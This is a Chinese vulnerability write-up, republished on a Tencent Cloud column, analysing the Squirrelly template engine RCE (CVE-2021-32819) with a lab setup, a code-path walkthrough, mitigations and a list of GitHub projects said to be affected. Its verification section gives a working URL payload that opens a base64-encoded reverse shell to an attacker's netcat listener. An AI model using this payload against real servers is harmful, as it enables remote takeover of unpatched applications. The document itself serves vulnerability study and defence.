学习
实践
活动
专区
工具
TVP
写文章
专栏首页红蓝对抗Nodejs Squirrelly 模板引擎 RCE(CVE-2021-32819)漏洞分析

Nodejs Squirrelly 模板引擎 RCE(CVE-2021-32819)漏洞分析

文章首发于先知社区

作者:WHOAMI

  • 漏洞概述
  • 漏洞复现
    • 环境搭建
    • 漏洞验证
  • 漏洞分析
    • renderFile
    • getConfig
    • tryHandleCache
    • handleCache
    • compile
    • compileToString
    • compileScope
  • 可能受到该漏洞影响的项目
  • 漏洞防御措施
  • Ending......

漏洞概述

Squirrelly 是一个用 JavaScript 实现的现代、可配置且速度极快的模板引擎。它与 ExpressJS 一起开箱即用,完整版的 gzip 压缩后仅重约 4KB。

2021 年 5 月 14 日,在 SquirrellyJS 从 v8.0.0 到 v8.0.8 及以上的版本爆出了一个漏洞(CVE-2021-32819)。官方对该漏洞原因的描述如下:

The Express render API was designed to only pass in template data. By allowing template engine configuration options to be passed through the Express render API directly, downstream users of an Express template engine may inadvertently introduce insecure behavior into their applications with impacts ranging from Cross Site Scripting (XSS) to Remote Code Execution (RCE).

大致原因就是 Squirrelly 通过 Express 渲染 API 将纯模板数据与引擎配置选项混合。攻击者可以通过请求查询来覆盖并控制全局变量 defaultConfig (一组内部模板引擎配置选项)中的defaultFilter 属性。下游用户可能会无意中将不安全的行为引入他们的应用程序。该漏洞影响范围从跨站点脚本(XSS)到远程代码执行(RCE)。

漏洞复现

这里我们在 Linux 服务器上进行测试。

环境搭建

安装 Nodejs 环境、Node Package Manager(NPM)以及 ExpressJS 和 SquirellyJS 模块:

sudo apt update
sudo apt install nodejs npm
mkdir CVE-2021-32819 && cd CVE-2021-32819
npm install express
npm install squirrelly

然后编写如下易受攻击的服务端代码:

  • server.js
const express = require('express')
const squirrelly = require('squirrelly')
const app = express()
 
app.set('views', __dirname);
app.set('view engine', 'squirrelly')
app.use(express.urlencoded({ extended: false }));
app.get('/', (req, res) => {
   res.render('index.squirrelly', req.query)
})

var server = app.listen(3000, '0.0.0.0', function () {

    var host = server.address().address
    var port = server.address().port

    console.log("Listening on http://%s:%s", host, port)
});

编写模板文件:

  • index.squirrelly
<!DOCTYPE html>
<html>
    <head>
        <title>CVE-2021-32819</title>
        <h1>Test For CVE-2021-32819</h1>
    </head>
<body>
    <h1>{{it.variable}}</h1>
</body>
</html>

运行服务端代码:

node server.js

漏洞验证

首先在攻击机上开启 nc 监听:

nc -lvp 2333

然后发送如下 payload:

http://192.168.226.148:3000/?defaultFilter=e'))%3B%20let%20require%20%3D%20global.require%20%7C%7C%20global.process.mainModule.constructor._load%3B%20require('child_process').exec('echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xNDMvMjMzMyAgMD4mMQ%3D%3D%7Cbase64%20-d%7Cbash')%3B%20%2F%2F

# http://192.168.226.148:3000/?defaultFilter=e')); let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xNDMvMjMzMyAgMD4mMQ==|base64 -d|bash'); //

image-20210725225523889

如下图所示,成功反弹 Shell:

image-20210725225604156

漏洞分析

当我们发送如下请求后:

/?defaultFilter=HelloWorld

Express 最终都会通过这个 engine 来调用 Squirrelly 模板引擎中的 renderFile 函数进行渲染(node_modules/express/lib/view.js):

image-20210725231405524

我们跟进 Squirrelly 模板引擎中的 renderFile 函数

renderFile

image-20210725232814159

renderFile 函数可以传入以下三个参数:

  • filename:模板文件的路径
  • data:包含请求查询的模板数据,大致如下:
{
  settings: {
      ...,
  },
  variable: "HelloWorld",
  _locals: {},
  cache: false,
}
  • cb:定义一个回调函数

renderFile 函数首先调用了 getConfig 函数,然后有调用了 tryHandleCache 函数,我们首先跟进 getConfig

getConfig

image-20210725233516995

  • override:该参数包含请求查询的模板数据,大致如下:
{
  settings: {
      ...,
  },
  variable: "HelloWorld",
  _locals: {},
  cache: false,
}
  • baseConfig:该参数未定义

getConfig 函数首先将 res 变量定义为一个空对象,然后将全局变量 defaultConfig(一组编译配置选项)的内容复制到 res 对象中,然后跳过 baseConfig 条件,然后将 override 的内容覆盖到 res 对象中,最后将 res 返回到 renderFile 函数作用域中的 Config 变量中。此时 Config 变量的内容如下:

{
    varName: 'it', 
    ..., 
    autoEscape: true, 
    defaultFilter: false, 
    ..., 
    settings: {...},
    variable: 'HelloWorld', 
    ... 
}

请求查询被赋给 Config 对象,这是一组编译选项,这就意味着发送者可以覆盖 Config 属性值。

调用完 getConfig 函数只会,renderFile 函数有调用了 tryHandleCache 函数,跟进 tryHandleCache

tryHandleCache

image-20210725235705560

  • options:是一组编译选项
{
  varName: "it",
  ...,
  autoEscape: true,
  defaultFilter: false,
  tags: ["{{", "}}"],
  ...,
  variable: "HelloWorld",
  _locals: {},
  ...
}
  • data:包含请求查询的模板数据
{
  settings: { ... },
  variable: "HelloWorld",
  _locals: {},
  cache: false,
}
  • cb:定义一个回调函数

tryHandleCache 函数会调用 handleCache 函数,跟进 handleCache

handleCache

image-20210726000219911

  • options:是一组编译选项
{
  varName: "it",
  autoTrim: [
    false,
    "nl",
  ],
  autoEscape: true,
  defaultFilter: false,
  ...,
  variable: "HelloWorld",
  _locals: {
  },
  ...
}

handleCache 函数将获取模板文件(index.squirrelly)的内容,然后调用 compile 函数。

compile

image-20210726000528675

  • str:该参数是前面通过 handleCache 函数获取到的模板文件(index.squirrelly)的内容:
"<!DOCTYPE html>\n<html>\n    <head>\n        <title>CVE-2021-32819</title>\n        <h1>Test For CVE-2021-32819</h1>\n    </head>\n<body>\n    <h1>{{it.variable}}</h1>\n</body>\n</html>"
  • env:是一组编译选项
{
  varName: "it",
  autoTrim: [
    false,
    "nl",
  ],
  autoEscape: true,
  defaultFilter: false,
  ...,
  variable: "HelloWorld",
  _locals: {
  },
  ...
}

compile 函数将编译选项定义为 env,然后在创建一个名为 ctor 的函数构造的别名,然后返回一个新的构造函数,最后进入到 compileToString 函数。跟进 compileToString

compileToString

image-20210726001614555

  • str:该参数是前面通过 handleCache 函数获取到的模板文件(index.squirrelly)的内容
"<!DOCTYPE html>\n<html>\n    <head>\n        <title>CVE-2021-32819</title>\n        <h1>Test For CVE-2021-32819</h1>\n    </head>\n<body>\n    <h1>{{it.variable}}</h1>\n</body>\n</html>"
  • env:是一组编译选项
{
  varName: "it",
  autoTrim: [
    false,
    "nl"],
  autoEscape: true,
  defaultFilter: false,
  ...,
  variable: "HelloWorld",
  _locals: {},
  ...
}

compileToString 函数定义一个 buffer 缓冲区并调用解析函数 parse 来解析模板内容及其变量:

[
  "<!DOCTYPE html>\n<html>\n    <head>\n        <title>CVE-2021-32819</title>\n        <h1>Test For CVE-2021-32819</h1>\n    </head>\n<body>\n    <h1>",
  {
    f: [
    ],
    c: "it.variable",
    t: "i",
  },
  "</h1>\\n</body>\\n</html>",
]

其中 compileToString 函数调用了 compileScope 函数,跟进 compileScope

compileScope

export function compileScope (buff: Array<AstObject>, env: SqrlConfig) {
  var i = 0
  var buffLength = buff.length
  var returnStr = ''

  for (i; i < buffLength; i++) {
    var currentBlock = buff[i]
    if (typeof currentBlock === 'string') {
      var str = currentBlock
      returnStr += "tR+='" + str + "';"
    } else {
      var type: ParsedTagType = currentBlock.t as ParsedTagType // h, s, e, i
      var content = currentBlock.c || ''
      var filters = currentBlock.f
      var name = currentBlock.n || ''
      var params = currentBlock.p || ''
      var res = currentBlock.res || ''
      var blocks = currentBlock.b
      var isAsync = !!currentBlock.a
      if (type === 'i') {
        if (env.defaultFilter) {
          content = "c.l('F','" + env.defaultFilter + "')(" + content + ')'
        }
        var filtered = filter(content, filters)
        if (!currentBlock.raw && env.autoEscape) {
          filtered = "c.l('F','e')(" + filtered + ')'
        }
        returnStr += 'tR+=' + filtered + ';'
      } else if (type === 'h') {
        ...
      } else if (type === 's') {
        ...
      } else if (type === 'e') {
        ...
      }
    }
  }

  return returnStr
}
  • buff:一个包含之前解析生成的模板内容的数组
[
  "<!DOCTYPE html>\n<html>\n    <head>\n        <title>CVE-2021-32819</title>\n        <h1>Test For CVE-2021-32819</h1>\n    </head>\n<body>\n    <h1>",
  {
    f: [
    ],
    c: "it.variable",
    t: "i",
  },
  "</h1>\\n</body>\\n</html>",
]
  • env:是一组编译选项
{
  varName: "it",
  autoTrim: [false, "nl"],
  autoEscape: true,
  defaultFilter: false,
  ...,
  variable: "HelloWorld",
  _locals: { },
  ...
}

compileScope 中主要就是一个 for 循环,遍历 buff 中的模板内容,如果元素是一个字符串,它会将字符串添加到 returnStr 变量中。如果它不是字符串,则继续执行 else 部分。

其中第一个元素 buff[0]和最后一个元素 buff[2] 是一个字符串:

[
  "<!DOCTYPE html>\n<html>\n    <head>\n        <title>CVE-2021-32819</title>\n        <h1>Test For CVE-2021-32819</h1>\n    </head>\n<body>\n    <h1>",
  ......
  "</h1>\\n</body>\\n</html>",
]

中间的元素 buff[1] 是一个对象:

  {
    f: [],
    c: "it.variable",
    t: "i",
  }

compileScope 函数会检查 env.defaultFilter 是否设置了,如果有设置 env.defaultFilter,则将 env.defaultFilter 的值添加到 content 变量中。但是现在 env.defaultFilter 还是没有被设置的。然后 filter 函数将 content 内容返回给 filtered 变量:

tR+='<!DOCTYPE html>\n<html>\n    <head>\n        <title>CVE-2021-32819</title>\n        <h1>Test For CVE-2021-32819</h1>\n    </head>\n<body>\n    <h1>';
tR+=c.l('F','e')(it.variable);
tR+='</h1>\\n</body>\\n</html>';

最后将 filtered 的内容添加到 returnStr 变量中并返回给 compileToString 函数作用域的 res 变量中,然后再由 compileToString 函数将 res 变量的内容拼接成一个匿名函数,内容如下:

 var res = "var tR='';" + "tR+='<!DOCTYPE html>\n<html>\n    <head>\n        <title>CVE-2021-32819</title>\n        <h1>Test For CVE-2021-32819</h1>\n    </head>\n<body>\n    <h1>';tR+=c.l('F','e')(it.variable);tR+='</h1>\\n</body>\\n</html>';" + 'if(cb){cb(null,tR)} return tR'
 // it.variable 的值为 HelloWorld

当返回到 handleCache 函数时,将会执行匿名函数:

(function anonymous(it,c,cb
) {
    var tR='';
    tR+='<!DOCTYPE html>\n<html>\n    <head>\n        <title>CVE-2021-32819</title>\n        <h1>Test For CVE-2021-32819</h1>\n    </head>\n<body>\n    <h1>';
    tR+=c.l('F','e')(it.variable);
    tR+='</h1>\n</body>\n</html>';
    if(cb){cb(null,tR)}
    return tR
})

看到这里你应该就明白了。这个漏洞主要的引入点就是 compileScope 函数中的 env.defaultFilter,我们可以通过 URL 中的参数来覆盖这个配置属性的值,比如:/?defaultFilter=payload 可以将 env.defaultFilter 的值覆盖为我们的 payload。并且一旦设置了 env.defaultFilter 的值,将进入到以下代码:

content = "c.l('F','" + env.defaultFilter + "')(" + content + ')';

可知我们可以通过设置 env.defaultFilter 的值来注入希望执行的代码。所以该漏洞利用的 Payload 如下:

http://192.168.226.148:3000/?defaultFilter=e')); let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xNDMvMjMzMyAgMD4mMQ==|base64 -d|bash'); //
# 使用时需进行 URL 编码

可能受到该漏洞影响的项目

分析github上100星以上的项目,共有380个项目使用了squirrelly组件,其中有42个项目使用了存在漏洞的8.0.8版本,具体的项目清单如下,有使用的TX可以自查一下:

项目名称

项目url

open-olive/vscode-loop-development-kit

https://github.com/open-olive/vscode-loop-development-kit

mizchi/uniroll

https://github.com/mizchi/uniroll

reissmatt/risen-one-mission-platform

https://github.com/reissmatt/risen-one-mission-platform

rpenco/light-webhook

https://github.com/rpenco/light-webhook

JuanFdS/scriptBolaMagica

https://github.com/JuanFdS/scriptBolaMagica

xnite/kittencore

https://github.com/xnite/kittencore

adamuchi/login-with-demo

https://github.com/adamuchi/login-with-demo

Berzok/Verena_Codex

https://github.com/Berzok/Verena_Codex

diamondv5/SE-nonoffical

https://github.com/diamondv5/SE-nonoffical

sitevision/sitevision-apps

https://github.com/sitevision/sitevision-apps

abyrvalg/pleh4

https://github.com/abyrvalg/pleh4

Riscue/drone-tool-settings

https://github.com/Riscue/drone-tool-settings

reissmatt/risen-one-mission-platform

https://github.com/reissmatt/risen-one-mission-platform

ZohaibArshad12/muze-beta

https://github.com/ZohaibArshad12/muze-beta

HieuKma/squirrelly-template-11

https://github.com/HieuKma/squirrelly-template-11

mcoop320/hls-media-server

https://github.com/mcoop320/hls-media-server

yummyweb/neuron-js

https://github.com/yummyweb/neuron-js

donaldskip326/gauzy1

https://github.com/donaldskip326/gauzy1

HieuKma/squirrelly-template-10

https://github.com/HieuKma/squirrelly-template-10

shuvalov-mdb/xstate-cpp-generator

https://github.com/shuvalov-mdb/xstate-cpp-generator

googleapis/google-cloudevents-python

https://github.com/googleapis/google-cloudevents-python

googleapis/google-cloudevents-python

https://github.com/googleapis/google-cloudevents-python

NgoDucPhu/squirrelly-template

https://github.com/NgoDucPhu/squirrelly-template

kimha0/clone-you/这都敏感词/tube

https://github.com/kimha0/clone-you/这都敏感词/tube

nervetattoo/simple-thermostat

https://github.com/nervetattoo/simple-thermostat

adobe/ferrum.doctest

https://github.com/adobe/ferrum.doctest

donaldskip326/gauzy1

https://github.com/donaldskip326/gauzy1

donaldskip326/gauzy1

https://github.com/donaldskip326/gauzy1

ever-co/ever-gauzy

https://github.com/ever-co/ever-gauzy

nqnghia285/music-app

https://github.com/nqnghia285/music-app

CandyMan999/lmp-v2

https://github.com/CandyMan999/lmp-v2

tabarra/txAdmin

https://github.com/tabarra/txAdmin

ever-co/ever-gauzy

https://github.com/ever-co/ever-gauzy

ever-co/ever-gauzy

https://github.com/ever-co/ever-gauzy

recoai/recoai-ts-sdk

https://github.com/recoai/recoai-ts-sdk

donaldskip326/gauzy1

https://github.com/donaldskip326/gauzy1

ever-co/ever-gauzy

https://github.com/ever-co/ever-gauzy

baovit72/Solance

https://github.com/baovit72/Solance

reissmatt/risen-one-mission-platform

https://github.com/reissmatt/risen-one-mission-platform

漏洞防御措施

该漏洞到目前为止还没有被修复,所以如果你在项目中使用了 Squirrelly 组件,那么都需要小心该类型漏洞的出现。而对于不得已必须使用这种技术的项目,最好做好防御措施,包括:

  • 降低运行该进程的用户的权限
  • 限制该进程可以访问的路径
  • 对用户输入进行白名单控制
  • 对于该进程可以执行的操作系统命令做白名单控制

Ending......

我的博客:https://whoamianony.top/

参考: https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/ https://blog.diefunction.io/vulnerabilities/ghsl-2021-023 https://github.com/Abady0x1/CVE-2021-32819

文章分享自微信公众号:
亿人安全

本文参与 腾讯云自媒体分享计划 ,欢迎热爱写作的你一起参与!

作者:WHOAMI
原始发表时间:2021-08-12
如有侵权,请联系 cloudcommunity@tencent.com 删除。
登录 后参与评论
0 条评论

相关文章

  • Github上开源的10大Javascript模板引擎,助力前端开发

    目前前端主流的开发框架有Vue、React以及Angular等,但是依然有一部分开发人员并不会去使用这些框架,特别是一些偏向后端的开发者,可能依然在使用类似于j...

    双面人
  • DASCTF NOV

    登录后可以传文件这里使用了 squirrelly 模板该模板有个CVE , CVE-2021-32819参考

    pankas
  • Apache Solr最新RCE漏洞分析

    Apache Solr爆出RCE 0day漏洞(漏洞编号未给出),这里简单的复现了对象,对整个RCE的流程做了一下分析,供各位看官参考。

    FB客服
  • 模板注入漏洞全汇总

    在MVC的设计模式下,一般从 Model 层中读取数据,然后将数据传到 View 层渲染(渲染成 HTML 文件),而 View 层一般都会用到模板引擎。

    Jayway
  • Web Hacking 101 中文版 十六、模板注入

    模板引擎是允许开发者或设计师在创建动态网页的时候,从数据展示中分离编程逻辑的工具。换句话说,除了拥有接收 HTTP 请求的代码,从数据库查询必需的数据并且之后将...

    ApacheCN_飞龙
  • Apache Struts2 Remote Code Execution (S2-053)

    风流
  • 用前端原型链漏洞污染拿下了服务器

    查看发现是一个叫“原型链污染”(Prototype chain pollution)的漏洞,还好这只是 dev 依赖,当前功能下几乎没什么影响,其修复方式可以通...

    秋风的笔记
  • 前端原型链污染漏洞竟可以拿下服务器shell?

    查看发现是一个叫“原型链污染”(Prototype chain pollution)的漏洞,还好这只是 dev 依赖,当前功能下几乎没什么影响,其修复方式可以通...

    小东同学
  • 【Java 代码审计入门-06】文件包含漏洞原理与实际案例介绍

    为什么会有这一些列的文章呢?因为我发现网上没有成系列的文章或者教程,基本上是 Java 代码审计中某个点来阐述的,对于新人来说可能不是那么友好,加上本人也在学习...

    p4nda
  • 【漏洞通报】ThinkPHP3.2.x RCE漏洞通报

    近日,默安玄甲实验室发现网络上出现针对ThinkPHP3.2的远程代码执行漏洞。该漏洞是在受影响的版本中,业务代码中如果模板赋值方法assign的第一个参数可控...

    Khan安全团队
  • 陌生人邀请我加入CS:GO游戏,我一接受就被盗号了

    《反恐精英:全球行动》这款游戏,被曝有远程代码执行漏洞(Remote Code Execute,以下简称RCE),让攻击者仅凭Steam游戏邀请就能接管你的电脑...

    量子位
  • SpringBoot框架SpEL表达式注入漏洞复现与原理分析

    这是2016年的一个洞,利用条件是至少知道一个触发 springboot 默认错误页面的接口及参数名。

    雪痕@
  • WordPress 5.0 RCE 详细分析

    2月20号,RIPS团队在官网公开了一篇WordPress 5.0.0 Remote Code Execution,CVE编号CVE-2019-6977,文章中...

    Seebug漏洞平台
  • CVE-2020-13957:Apche Solr 未授权上传漏洞复现

    上传configset——基于configset再次上传configset(跳过身份检测)——利用新configset创造collection——利用solrV...

    Timeline Sec
  • Smarty模板引擎多沙箱逃逸PHP代码注入漏洞

    在这篇博文中,我们探讨了在Smarty 模板引擎中发现的两个不同的沙盒逃逸漏洞,上下文相关的攻击者可以利用这些漏洞执行任意代码。然后我们探讨如何将这些漏洞应用于...

    Khan安全团队
  • 【愚公系列】2022年04月 攻防世界-进阶题-WEB-014(Web_python_template_injection)

    SSTI即(server-side template injection)服务器模板,平时我们常用的有sql注入,xss注入,xml注入和命令注入等等。大家应该...

    愚公搬代码
  • 骑士 CMS 远程代码执行分析

    续师傅前些天跟我说骑士 CMS 更新了一个补丁,assign_resume_tpl 这个全局函数出现了问题,让我分析看看能不能利用,我看了下官网公告:

    p4nda
  • 【Java 代码审计入门-05】RCE 漏洞原理与实际案例介绍

    为什么会有这一些列的文章呢?因为我发现网上没有成系列的文章或者教程,基本上是 Java 代码审计中某个点来阐述的,对于新人来说可能不是那么友好,加上本人也在学习...

    p4nda

扫码关注腾讯云开发者

领取腾讯云代金券